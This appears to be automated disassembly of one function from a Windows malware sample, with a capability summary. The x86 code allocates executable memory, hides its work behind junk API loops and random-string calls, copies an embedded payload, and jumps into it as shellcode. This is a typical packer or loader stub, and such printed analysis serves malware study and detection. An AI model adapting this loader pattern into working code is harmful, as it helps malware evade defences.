Function at 0x401ab7
Capabilities:
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8d0
mov eax, dword [0x42d070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ecx, 0x42f080
push esi
push edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401ad5
sub ecx, edx
xor esi, esi
cmp ecx, 0x159
je 0x401cab
mov eax, esi
cmp eax, 0x4ad
jg 0x401afd
inc eax
cmp eax, 0xfdc3
jl 0x401aee
mov ecx, 0x18efa
mov eax, esi
mov dword [0x42ef78], ecx
cmp eax, 0x209
jne 0x401b17
add ecx, 0x1890
inc eax
cmp eax, 0xc3e
jl 0x401b0a
push str.kernel32.dll
mov dword [0x42ef78], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
push str.LocalAlloc
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x42ef78]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x42f954], eax
mov edi, esi
cmp edi, 0x1e3
jge 0x401b6f
lea eax, [ebp - 0x808]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
inc edi
cmp edi, 0x590053
jl 0x401b59
mov edi, esi
mov eax, dword [0x42f94c]
cmp edi, 0x7c16df
mov ecx, 0x438958
cmove eax, ecx
mov dword [0x42f94c], eax
cmp edi, 0x865
jge 0x401ba8
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
inc edi
cmp edi, 0x8d70ff
jl 0x401b7a
mov edi, esi
cmp dword [0x42ef78], esi
jbe 0x401bf4
mov eax, dword [0x42f94c]
mov cl, byte [eax + edi + 0x1890]
mov eax, dword [0x42f954]
mov byte [eax + edi], cl
cmp edi, 0x652
jge 0x401beb
lea eax, [ebp - 0x818]
push eax
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
inc edi
cmp edi, dword [0x42ef78]
jb 0x401bbb
mov edi, esi
cmp edi, 0x500233
jne 0x401c11
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push str.VirtualProtect
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
inc edi
cmp edi, 0x88d29b
jl 0x401bf6
push ecx
call fcn.004019f8
pop ecx
mov edi, esi
cmp edi, 0xa151
jne 0x401c31
call dword [0x42f954]
inc edi
cmp edi, 0x5a545b
jl 0x401c23
mov eax, dword fs:[0x2c]
push esi
mov eax, dword [eax]
mov dword [eax + 4], 1
call fcn.0040ac1c
push ecx
lea ecx, [ebp - 0x8d0]
call fcn.00401d6f
push ecx
lea ecx, [ebp - 0x8c0]
call fcn.004023e7
push esi
push str.sumokotucawozibiyuhu_renosuxipamenuponagarozu_kafotovi_bibozuvemayuzutedorajuxe
push esi
call dword [sym.imp.USER32.dll_SetPropA]
lea ecx, [ebp - 0x868]
call fcn.00401d40
lea eax, [ebp - 0x868]
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
push eax
call fcn.00404b35
pop ecx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004056c5
mov esp, ebp
pop ebp
ret 0x10
push esi
push esi
push esi
push str.zivehuduninexa_wuvofapexa_wixusukazereracosugo
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push esi
call fcn.0040c284
pop ecx
push esi
call fcn.0040aceb
pop ecx
push esi
call fcn.0040ac1c
pop ecx
push esi
call fcn.0040aa6d
int3